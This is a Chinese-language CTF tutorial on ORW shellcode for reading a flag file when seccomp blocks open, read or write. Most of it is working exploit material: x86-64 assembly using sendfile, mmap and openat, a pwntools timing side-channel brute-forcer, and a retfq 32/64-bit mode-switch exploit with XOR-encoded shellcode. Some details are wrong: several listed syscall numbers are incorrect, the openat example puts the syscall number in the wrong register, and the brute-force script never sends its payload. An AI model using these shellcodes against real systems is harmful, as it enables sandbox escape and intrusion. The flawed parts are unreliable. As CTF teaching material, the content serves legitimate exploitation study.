ORW针对缺O、R、W情况的总结
字数 1022 2025-08-22 12:22:24
ORW Shellcode 绕过技术详解
1. ORW 基础概念
ORW 是 Open-Read-Write 的缩写,指在二进制安全挑战中常见的文件操作模式:
- Open: 打开文件
- Read: 读取文件内容
- Write: 将内容输出
2. 基本 ORW Shellcode
2.1 标准实现方式
; open("flag", 0)
push 0x67616c66 ; "flag" 字符串
push 0x2 ; open 系统调用号
pop rax
mov rdi, rsp ; 文件名指针
xor rsi, rsi ; 标志位0
syscall
; read(fd, rsp, 0x50)
mov rdi, rax ; 文件描述符
xor rax, rax ; read 系统调用号
mov rsi, rsp ; 缓冲区
push 0x50
pop rdx ; 读取长度
syscall
; write(1, rsp, 0x50)
push 0x1
pop rax ; write 系统调用号
push 0x1
pop rdi ; stdout
mov rsi, rsp ; 缓冲区
push 0x50
pop rdx ; 写入长度
syscall
2.2 使用 sendfile 系统调用
; open('rsp', 0, 'O_RDONLY')
push 0x67616c66 ; "flag"
push 2
pop rax
mov rdi, rsp
xor esi, esi
cdq
syscall
; sendfile(1, rax, 0, 0x100)
mov r10d, 0x100
mov rsi, rax
push 40 ; sendfile 系统调用号
pop rax
push 1
pop rdi
cdq
syscall
3. 绕过限制的技术
3.1 缺少 Read 系统调用
替代方案:
- pread64 (系统调用号 0x11)
- readv (系统调用号 0x13)
- preadv (系统调用号 0x14)
- preadv2 (系统调用号 0x15)
- sendfile (系统调用号 0x28)
- mmap
使用 mmap 的示例
; open("flag",0)
mov rax,0x67616c662f2e ; "./flag"
push rax
mov rdi, rsp
xor edx, edx
xor esi, esi
mov rax,2
syscall
; mmap(0x23330000,0x1000,1,1,rax,0)
mov rsi, 0x1000
mov r10,1
mov r9d, 0
mov r8d, eax
mov edx, 1 ; 共享映射
mov edi, 0x23330000
mov rax, 9 ; mmap 系统调用号
syscall
; write(1,0x2333000,0x100)
mov rdi, 1
mov rsi, 0x23330000
mov rdx, 0x100
mov rax, 1
syscall
测信道爆破技术
当无法直接输出 flag 时,可以逐字符爆破:
from pwn import *
import time
context(arch="amd64", os="linux")
def pwn():
flag_addr = 0x405000
string = "{}0123456789-_abcdefghijklmnopqrstuvwxyz"
chars = [ord(x) for x in string]
flag = ""
index = 0
while True:
for i in range(39):
io = process(binary)
loop_payload = '''
mov rsp, {}
mov rdx,0
mov dl,byte ptr [rsp+{}]
mov rcx,0
mov cl,{}
cmp dl,cl
jnz loop
mov rax, 0x3c
syscall
loop:
jmp loop
'''
loop_payload = asm(loop_payload.format(flag_addr, index, chars[i]))
try:
io.clean()
io.recv(timeout=0.1)
except EOFError:
flag += chr(chars[i])
index += 1
io.close()
break
finally:
print("index:" + str(index))
print("strings: " + chr(chars[i]))
print("flag: " + str(flag))
io.close()
3.2 缺少 Write 系统调用
替代方案:
- pwrite64 (系统调用号 0x12)
- writev (系统调用号 0x14)
- pwritev (系统调用号 0x15)
- pwritev2 (系统调用号 0x16)
3.3 缺少 Open 系统调用
替代方案:
- creat (系统调用号 0x55)
- openat (系统调用号 0x101)
- fopen/fopen64 (libc 函数)
- freopen (libc 函数)
使用 openat 示例
; openat(0, '/flag\x00', 0)
push 0x67616c66 ; "flag"
push 0x2f ; '/'
mov rdi, rsp
xor esi, esi
mov edx, 0x101 ; openat 系统调用号
syscall
使用 retfq 切换 32/64 位模式
核心思想:通过 retfq 切换到 32 位模式执行 open,再切换回 64 位模式
; retfq 指令执行两步操作:
; 1. ret (跳转到 [rsp])
; 2. 设置 cs = [rsp+0x8]
; cs = 0x23 表示 32 位模式
; cs = 0x33 表示 64 位模式
完整实现步骤:
- 使用 mmap 申请 32 位兼容地址
- 写入 32 位 shellcode
- 使用 retfq 切换到 32 位模式
- 执行 32 位 open 调用
- 保存文件描述符
- 再次 retfq 切换回 64 位模式
- 执行 read/write
示例代码:
from pwn import *
context(log_level='debug')
p = process('./shellcode')
p.recvuntil("shellcode: ")
# 申请内存的 shellcode
shellcode_mmap = '''
/*mmap(0x40404040,0x7e,7,34,0,0)*/
push 0x40404040
pop rdi
push 0x7e
pop rsi
push 0x40
pop rax
xor al,0x47
push rax
pop rdx
push 0x40
pop rax
xor al,0x40
push rax
pop r8
push rax
pop r9
push rbx
pop rax
push 0x5d
pop rcx
xor byte ptr[rax+0x31],cl
push 0x5f
pop rcx
xor byte ptr[rax+0x32],cl
push 0x22
pop rcx
push 0x40
pop rax
xor al,0x49
'''
# 读取 32 位 shellcode 的代码
shellcode_read = '''
/*read(0,0x40404040,0x70)*/
push 0x40404040
pop rsi
push 0x40
pop rax
xor al,0x40
push rax
pop rdi
xor al,0x40
push 0x70
pop rdx
push rbx
pop rax
push 0x5d
pop rcx
xor byte ptr[rax+0x57],cl
push 0x5f
pop rcx
xor byte ptr[rax+0x58],cl
push rdx
pop rax
xor al,0x70
'''
# 构造 retfq 的代码
shellcode_retfq = '''
push rbx
pop rax
xor al,0x40
push 0x72
pop rcx
xor byte ptr[rax+0x40],cl
push 0x68
pop rcx
xor byte ptr[rax+0x40],cl
push 0x47
pop rcx
sub byte ptr[rax+0x41],cl
push 0x48
pop rcx
sub byte ptr[rax+0x41],cl
push rdi
push rdi
push 0x23
push 0x40404040
pop rax
push rax
'''
# 32 位 shellcode
shellcode_x86 = '''
/*fp = open("flag")*/
mov esp,0x40404140
push 0x67616c66
push esp
pop ebx
xor ecx,ecx
mov eax,5
int 0x80
mov ecx,eax
'''
# 64 位 flag 读取代码
shellcode_flag = '''
push 0x33
push 0x40404089
retfq
/*read(fp,buf,0x70)*/
mov rdi,rcx
mov rsi,rsp
mov rdx,0x70
xor rax,rax
syscall
/*write(1,buf,0x70)*/
mov rdi,1
mov rax,1
syscall
'''
# 组合并发送 shellcode
shellcode = ''
shellcode += shellcode_mmap
shellcode += "push rdx; pop rdx;" # 占位
shellcode += shellcode_read
shellcode += "push rdx; pop rdx;" # 占位
shellcode += shellcode_retfq
shellcode += "push rdx; pop rdx;" # 占位
shellcode = asm(shellcode, arch='amd64', os='linux')
p.sendline(shellcode)
shellcode_x86 = asm(shellcode_x86)
shellcode_flag = asm(shellcode_flag, arch='amd64', os='linux')
p.sendline(shellcode_x86 + 0x29*b'\x90' + shellcode_flag)
p.interactive()
4. 关键点总结
-
系统调用替代方案:
- 每个关键函数都有多个替代系统调用
- 需要熟悉系统调用表和参数传递方式
-
32/64 位切换:
- 使用 retfq 指令切换模式
- 注意地址解析方式的变化
- 需要预先分配 32 位兼容的内存区域
-
字符限制绕过:
- 使用异或等操作生成所需字节
- 利用现有寄存器值进行计算
-
测信道攻击:
- 当无法直接输出时,可以通过程序行为差异推断信息
- 需要设计能够产生明显差异的测试条件
-
Shellcode 构造技巧:
- 避免使用受限字节
- 利用现有寄存器值
- 分阶段执行复杂操作